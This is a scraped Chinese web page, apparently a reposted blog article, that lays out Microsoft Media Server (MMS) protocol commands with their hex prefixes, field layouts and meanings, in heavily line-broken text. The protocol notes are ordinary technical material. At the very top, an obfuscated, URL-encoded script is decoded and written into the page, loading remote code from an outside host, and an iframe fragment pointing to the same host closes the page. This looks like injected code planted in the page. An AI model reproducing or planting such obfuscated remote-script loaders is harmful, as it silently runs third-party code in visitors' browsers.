HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
MMS协议解析2(zz)
转自
http://publishblog.blogchina.com/blog/tb.b?diaryID=5401347
01
至
Server
Prefix 1 f0 f0 f0 f0 -
标志
(
见标志段
)
Prefix 2 0b 00 04 00
Then 1c 00 03 00
结构题定义如下。
功能:发送初始链接信息,包含播放器的版本号、客户端
GUID(
随机产生
)
和要连接的服务器地址。这个命令是在协议初始化之初发送的。它发送本地信息给服务器。
Unicode
数据字符串由以下信息组成:
“
NSPlayer/7.0.0.1956; {128
比特
16
进制文本客户端
GUID }; Host: The.Host.Net” + 0x00 +
全零隐藏数据域
(
可选项
)
。
注意
:
客户端
GUID
是随机生成的,具体内容见
'locally generated GUIDs'.
'Host'
域为可选字段。只在
Media Player 7.0
及后续版本中使用。播放器名称必须以 “
NSPlayer”
开始
,
如果服务器收到其他名称,将会自动发送名为
'Upgrade Your Player'
缺省的电影。这是一个
15
秒的教你如何升级的电影。在
NSPlayer
之后可以接任意的东西。例如像
/7.0.0.1956
的版本号。
MediaPlayer7.0
及后续版本才支持
'MMS Proxy Server'
选项。
'Host'
域指明实际流媒体服务器的域名或者
IP
地址,这同是否使用代理并不相关。代理服务器使用这个主机地址连接到流媒体服务器。这就是在
7.0
以前版本里面没有
'host'
域的原因。
01
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 f0 f0 f0 f0 -
标志
(
详见标志段
)
结构体定义如下:
服务器返回诸如服务器软件版本等信息。
0b 00 04 00
??
1c 00 03 00
??
00 00 00 00 00 00 f0 3f
双精值为
1
内容不详
01 00 00 00
??
01 00 00 00
??
00 80 00 00
??
00 00 a0 00
?? 时有为
80 96 98 00 = 10000000
Ww ww ww ww
服务器版本字符串长度
Xx xx xx xx
工具版本字符串长度
Yy yy yy yy
播放器下载链接长度
Zz zz zz zz
加密方式字符串长度
Unicode
字符串长度在结构体中给出。当域不需要时
length=0
。长度的统计是以两个
byte
为单位。有趣的是服务器版本低于
3.0
时,不接受
0x32
命令。媒体播放器也不会发送这个命令给服务器。准确的说,这个特征在那个版本里还没有实现。
02
至
Server
Prefix 1 f1 f0 f0 f0 -
标志
(
见标志段
)
Prefix 2 ff ff ff ff
Then 00 00 00 00
Then 00 00 a0 00 -
未知
Then 02 00 00 00 –
映射包头
ID
类型(
Header PacketIDType
)
发送传输协议、客户端地址和客户端套接字端口号到服务器。
Unicode
字符串格式如下:
“
//123.456.789.012/TCP/1234” + null +
可选
Unicode
数据,如“
0”
。
可选数据:当传输协议使用
UDP
时可以显示
10Bytes
的未知数据。
Where: 123.456.789.012
是客户端
IP
地址
,
TCP (
或
UDP)
标志欲是用的传输协议。
1234
是客户端
TCP
或
UDP
套接口端口号。
02
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 f1 f0 f0 f0 -
标志
Then nn nn nn nn - 4 bytes
数据长度
长度计数单位是
4
字节,也包括了
Length
域,所以
4Bytes
就是
1
。
Then Unicode
字符串数据
这是协议选择命令
0x02
的响应数据。文本“
Funnel Of The”
或
'Funnel of the gods'
是常见的数据。这说明协议的选择已经生效。
03
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 00 00 00 00
由服务器返回,指明协议选择的错误。同时也表示从服务器发向客户端的关闭套接字连接的请求。在这个命令之后连接中断。
05
至
Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff ff ff
Then 8 zeros (
未知
)
或许是双精值
Then Unicode
数据,下文解析。
这条命令请求位于服务器上的文件路径和文件名。这不包含
IP
或
DNS
信息,只有媒体的路径和文件名。
Unicode
数据字符串格式如下:
“
this/is/the/file/path/on/server/with/filename.ext” + null +
未知可选数据如“
2C3”
注意
:
文件名后,例如 …
/filename.asf
可以跟随数字签名管理数据。传到服务器的字符串形如:…
/filename.asf?parameter1, parameter2
。
就像其他人和
.ASP
或
.JSP Active
输入的字符串参数一样,
parameter1
可以为
0
,
parameter2
可以是
32bytes
的
16
进制字符串数据。如果媒体文件需要
DRM
数据,而你并未提供有效的授权字符串,那么访问将被拒绝。在这种情况下,服务器会向客户端发送命令
03
报告断开连接。并附带
'licence required'
错误码
.
05
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 04 00 00 00 -
响应
Media PacketIDType
值
Then
下述结构体
现在发送媒体数据,包括媒体的播放时间。
01 00 00 00
未知 但是可以改为
0
或
1
00 00 00 00
可能是偏移时间,例如
00 00 00 40
为
2
秒
00 00 00 00
??
00 00 00 00
??
00 00 00 00
??
Xx xx xx xx
单精浮点值
,
显示文件时间减去缓冲区时间,仅在
seek
模式有效,其他情况下总为
1
。
06
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 01 00 00 00
Then
结构体如下
功能:答复文件名和路径请求。包括文件数据的包数,包长度和文件播放时间。
06
命令的数据类似于
ASF
文件的头信息。一旦媒体在服务器上定位,媒体流的细节和包便被返回。下面是
prefix
后的结构体信息:
01 00 00 00
结果标志
00 00 00 00
00 00 00 00
00 00 xx yy
广播标志
Tt tt tt tt tt tt tt tt
双精度文件时间点
Ll ll ll ll
回放文件的长度(秒为单位),实时则为
0
00 00 00 00
00 00 00 00
00 00 00 00
00 00 00 00
Pp pp pp pp
媒体包长度,单位
byte
Nn nn nn nn
媒体总包数,实时为
0x00
或
0xffffffff
00 00 00 00
Ss ss ss ss
最高流比率值
Hh hh hh hh
头大小,单位
bytes
Zeros
数据结构末尾的
40
个
bytes
零数据
07
至
Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff 01 00 -
或
76 04 00 00 #
Then
结构题描述如下
功能:从包
xx
开始文件播放。这条命令也用以恢复下载或请求丢包。在
Seek
模式下用来发送播放点。
8 bytes
双精格式,
Seek
秒数。
4 bytes FF
4 bytes
包序列号
ff ff ff ff
从开始播放
注意
:v9
版本中不可用,任何值都是从头开始播放
3 bytes
最大的流时间限制
1 byte
允许流限制标志
4 bytes Media PacketIDtype
4 bytes
可选数据
#
如
ff ff ff 7f
4 bytes
可选数据
#
如
00 00 00 00
4 bytes
可选数据
#
如
ff ff ff 7f
4 bytes
可选数据
#
如
00 00 00 00
09
至
Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 ff ff 01 00
停止播放,媒体播放器发送这条命令,流停止,保持套接字连接。
0A
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 04 00 00 00 -
响应
PacketIDType
Data 00 00 00 00 00 00 00 00 -
双精值
此命令在快进/后退中使用。
0D
至
Server
Prefix 1 01 00 00 00 -
命令级别
Prefix 2 01 00 00 00
协议中止。常用在关闭套接字连接时。
11
至
Client
Prefix 1 00 00 00 00 -
错误码
Prefix 2 02 00 00 00 -
显示头的
PacketIDType
Then 00 00 00 00 - ??
Then 00 00 00 00
或
1c 00 03 00
用法未知。
在播放器请求时发送头或
UDP
包。
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">